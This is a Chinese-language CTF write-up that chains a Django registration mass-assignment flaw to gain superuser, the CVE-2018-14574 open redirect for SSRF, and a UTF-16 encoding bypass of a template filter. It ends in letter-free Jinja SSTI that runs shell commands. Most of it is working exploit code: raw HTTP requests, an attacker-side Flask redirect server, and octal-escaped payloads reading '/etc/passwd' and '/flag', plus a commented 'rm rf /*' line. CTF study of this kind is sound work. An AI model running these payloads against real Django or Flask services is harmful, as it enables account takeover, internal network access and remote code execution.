源码审计，预期是 成为Django-admin -> 利用CVE-2018-14574 造成SSRF打flask_rpc ->
UTF16或者unicode绕过 {{限制 -> 无字母SSTI  
由于写的太急了忘记限制symbols为一个字符，非预期是直接利用symbols绕过

#### 预期  
#### 成为admin  
```python  
def reg(request):  
if request.method == "GET":  
return render(request, "templates/reg.html")  
elif request.method == "POST":  
try:  
data = json.loads(request.body)  
except ValueError:  
return JsonResponse({"code": -1, "message": "Request data can't be
unmarshal"})

if len(User.objects.filter(username=data["username"])) != 0:  
return JsonResponse({"code": 1})  
User.objects.create_user(**data)  
return JsonResponse({"code": 0})  
```  
可以看到把json对象全部传入了create_user，这是python的一个语法，会把字典元素变为键值对作为函数参数，本意是方便开发  
比如{"username":"admin", "password":"123456"} 即是
User.objects.create_user(username="admin",password="123456")  
所以我们可以传入恶意键值对，在注册的时候直接变为admin，查阅文档或者翻下django项目的数据库找到对应列名  
{"username":"admin","password":"123456","is_staff":1,"is_superuser":1}  
即可成为admin

```  
POST /reg/ HTTP/1.1  
Host: 192.168.15.133:8000  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0  
Accept: application/json, text/plain, */*  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/json;charset=utf-8  
Content-Length: 70  
Origin: http://192.168.15.133:8000  
Connection: close  
Referer: http://192.168.15.133:8000/reg/

{"username":"admin","password":"123456","is_staff":1,"is_superuser":1}  
```  
然后登入admin后台，获取token  
#### CVE-2018-14574  
Django < 2.0.8 存在任意URL跳转漏洞，我们可以通过这个来SSRF  
由于path采用了re_path，我们只需要传入  
http://39.104.19.182//8.8.8.8/login  
即可跳转到任意url的login路由  
```  
POST /home/ HTTP/1.1  
Host: 192.168.15.133:8000  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101
Firefox/77.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie:
csrftoken=C1JAgkBIk8uqH9XF2CHBlsWDSPfOwNZHmj7RfnqqEdH1pqtPSvuNgxGNdodpZGta;
sessionid=e8gd9dipyijy3t96hn5jujv1d0o90r0o  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 100

{"token":"xxxxxxxxxxxxxxxxxxxxxx","url":"http://39.104.19.182//8.8.8.8/login"}  
```  
由于python request库会自动跟随302  
然后我们在自己的vps上搭一个服务，继续跳转到本地127.0.0.1:8000/flask_rpc  
就可以SSRF访问flask_rpc开始打flask

#### UTF16 && unicode  
```python  
@app.before_request  
def before_request():  
data = str(request.data)  
log()  
if "{{" in data or "}}" in data or "{%" in data or "%}" in data:  
abort(401)  
```  
flask做了一个简单的waf，不允许ssti的关键字符，需要bypass  
此处有两个办法  
```python  
@app.route('/caculator', methods=["POST"])  
def caculator():  
try:  
data = request.get_json()  
```  
但是flask获取参数的方式又是get_json方法，我们跟入一下  
```python  
def get_json(self, force=False, silent=False, cache=True):  
"""Parse :attr:`data` as JSON.

If the mimetype does not indicate JSON  
(:mimetype:`application/json`, see :meth:`is_json`), this  
returns ``None``.

If parsing fails, :meth:`on_json_loading_failed` is called and  
its return value is used as the return value.

:param force: Ignore the mimetype and always try to parse JSON.  
:param silent: Silence parsing errors and return ``None``  
instead.  
:param cache: Store the parsed JSON to return for subsequent  
calls.  
"""  
if cache and self._cached_json[silent] is not Ellipsis:  
return self._cached_json[silent]

if not (force or self.is_json):  
return None

data = self._get_data_for_json(cache=cache)

try:  
rv = self.json_module.loads(data)  
except ValueError as e:  
if silent:  
rv = None

if cache:  
normal_rv, _ = self._cached_json  
self._cached_json = (normal_rv, rv)  
else:  
rv = self.on_json_loading_failed(e)

if cache:  
_, silent_rv = self._cached_json  
self._cached_json = (rv, silent_rv)  
else:  
if cache:  
self._cached_json = (rv, rv)

return rv  
```  
看到`rv = self.json_module.loads(data)`继续跟入  
```python  
@staticmethod  
def loads(s, **kw):  
if isinstance(s, bytes):  
# Needed for Python < 3.6  
encoding = detect_utf_encoding(s)  
s = s.decode(encoding)

return _json.loads(s, **kw)  
```  
```python  
def detect_utf_encoding(data):  
"""Detect which UTF encoding was used to encode the given bytes.

The latest JSON standard (:rfc:`8259`) suggests that only UTF-8 is  
accepted. Older documents allowed 8, 16, or 32. 16 and 32 can be big  
or little endian. Some editors or libraries may prepend a BOM.

:internal:

:param data: Bytes in unknown UTF encoding.  
:return: UTF encoding name

.. versionadded:: 0.15  
"""  
head = data[:4]

if head[:3] == codecs.BOM_UTF8:  
return "utf-8-sig"

if b"\x00" not in head:  
return "utf-8"

if head in (codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE):  
return "utf-32"

if head[:2] in (codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE):  
return "utf-16"

if len(head) == 4:  
if head[:3] == b"\x00\x00\x00":  
return "utf-32-be"

if head[::2] == b"\x00\x00":  
return "utf-16-be"

if head[1:] == b"\x00\x00\x00":  
return "utf-32-le"

if head[1::2] == b"\x00\x00":  
return "utf-16-le"

if len(head) == 2:  
return "utf-16-be" if head.startswith(b"\x00") else "utf-16-le"

return "utf-8"  
```  
可以看到flask的get_json方法会通过传入的body自动判断编码然后解码，这就与之前的waf存在一个差异  
我们可以把exp进行UTF16编码然后bypass waf  
另一个办法就是\u unicode字符进行绕过  
#### bypass字母  
好了{{我们已经可以bypass了，但是num还限制了不能有字母，这个怎么办  
python里面，我们可以通过 '\123'来表示一个字符，我们就可以通过这个来bypass字母的限制  
这个对应关系并不遵守Ascii，所以我们可以先遍历存入字典  
```python  
exp = "request"  
dicc = []  
exploit = ""  
for i in range(256):  
eval("dicc.append('{}')".format("\\\"+str(i)))  
for i in exp:  
exploit += "\\\\\\\"+ str(dicc.index(i))

print(exploit)  
```  
用这个脚本转换一下常规的SSTI

```python  
data =
r'''{"num1":"{{()['\\\137\\\137\\\143\\\154\\\141\\\163\\\163\\\137\\\137']['\\\137\\\137\\\142\\\141\\\163\\\145\\\163\\\137\\\137'][0]['\\\137\\\137\\\163\\\165\\\142\\\143\\\154\\\141\\\163\\\163\\\145\\\163\\\137\\\137']()[155]['\\\137\\\137\\\151\\\156\\\151\\\164\\\137\\\137']['\\\137\\\137\\\147\\\154\\\157\\\142\\\141\\\154\\\163\\\137\\\137']['\\\137\\\137\\\142\\\165\\\151\\\154\\\164\\\151\\\156\\\163\\\137\\\137']['\\\145\\\166\\\141\\\154']('\\\137\\\137\\\151\\\155\\\160\\\157\\\162\\\164\\\137\\\137\\\50\\\47\\\157\\\163\\\47\\\51\\\56\\\160\\\157\\\160\\\145\\\156\\\50\\\47\\\143\\\141\\\164\\\40\\\57\\\145\\\164\\\143\\\57\\\160\\\141\\\163\\\163\\\167\\\144\\\47\\\51\\\56\\\162\\\145\\\141\\\144\\\50\\\51')}}","num2":1,"symbols":"+"}'''

print(data.encode("utf-16"))

```  
把两个脚本结合一下  
```python  
from flask import Flask, request, render_template_string,redirect  
import re  
import json  
import string,random  
import base64  
app = Flask(__name__)  
from urllib.parse import quote

#exp = "__import__('os').popen('rm rf /*').read()"  
#exp = "__import__('os').popen('cat /flag').read()"  
exp = "__import__('os').popen('/readflag').read()"  
dicc = []  
exploit = ""  
for i in range(256):  
eval("dicc.append('{}')".format("\\\"+str(i)))  
for i in exp:  
exploit += "\\\\\\\"+ str(dicc.index(i))

@app.route('/login/')  
def index():  
# data =
r'''{"num1":"{{()['\\\137\\\137\\\143\\\154\\\141\\\163\\\163\\\137\\\137']['\\\137\\\137\\\142\\\141\\\163\\\145\\\163\\\137\\\137'][0]['\\\137\\\137\\\163\\\165\\\142\\\143\\\154\\\141\\\163\\\163\\\145\\\163\\\137\\\137']()[155]['\\\137\\\137\\\151\\\156\\\151\\\164\\\137\\\137']['\\\137\\\137\\\147\\\154\\\157\\\142\\\141\\\154\\\163\\\137\\\137']['\\\137\\\137\\\142\\\165\\\151\\\154\\\164\\\151\\\156\\\163\\\137\\\137']['\\\145\\\166\\\141\\\154']('\\\137\\\137\\\151\\\155\\\160\\\157\\\162\\\164\\\137\\\137\\\50\\\47\\\157\\\163\\\47\\\51\\\56\\\160\\\157\\\160\\\145\\\156\\\50\\\47\\\143\\\141\\\164\\\40\\\57\\\145\\\164\\\143\\\57\\\160\\\141\\\163\\\163\\\167\\\144\\\47\\\51\\\56\\\162\\\145\\\141\\\144\\\50\\\51')}}","num2":1,"symbols":"+"}'''.encode("utf16")  
data =
(r'''{"num1":"{{()['\\\137\\\137\\\143\\\154\\\141\\\163\\\163\\\137\\\137']['\\\137\\\137\\\142\\\141\\\163\\\145\\\163\\\137\\\137'][0]['\\\137\\\137\\\163\\\165\\\142\\\143\\\154\\\141\\\163\\\163\\\145\\\163\\\137\\\137']()[64]['\\\137\\\137\\\151\\\156\\\151\\\164\\\137\\\137']['\\\137\\\137\\\147\\\154\\\157\\\142\\\141\\\154\\\163\\\137\\\137']['\\\137\\\137\\\142\\\165\\\151\\\154\\\164\\\151\\\156\\\163\\\137\\\137']['\\\145\\\166\\\141\\\154']('%s')}}","num2":1,"symbols":"+"}'''
% exploit).encode("utf16")

data = quote(base64.b64encode(data))  
return
redirect("http://127.0.0.1:8000/rpc/?methods=POST&url=http%3a//127.0.0.1%3a5000/caculator&mime=application/json&data="+data)

if __name__ == '__main__':  
app.run(host="0.0.0.0",port=5000,debug=True)

```  
vps上搭好后，向home路由请求一下自己的vps即可看到flag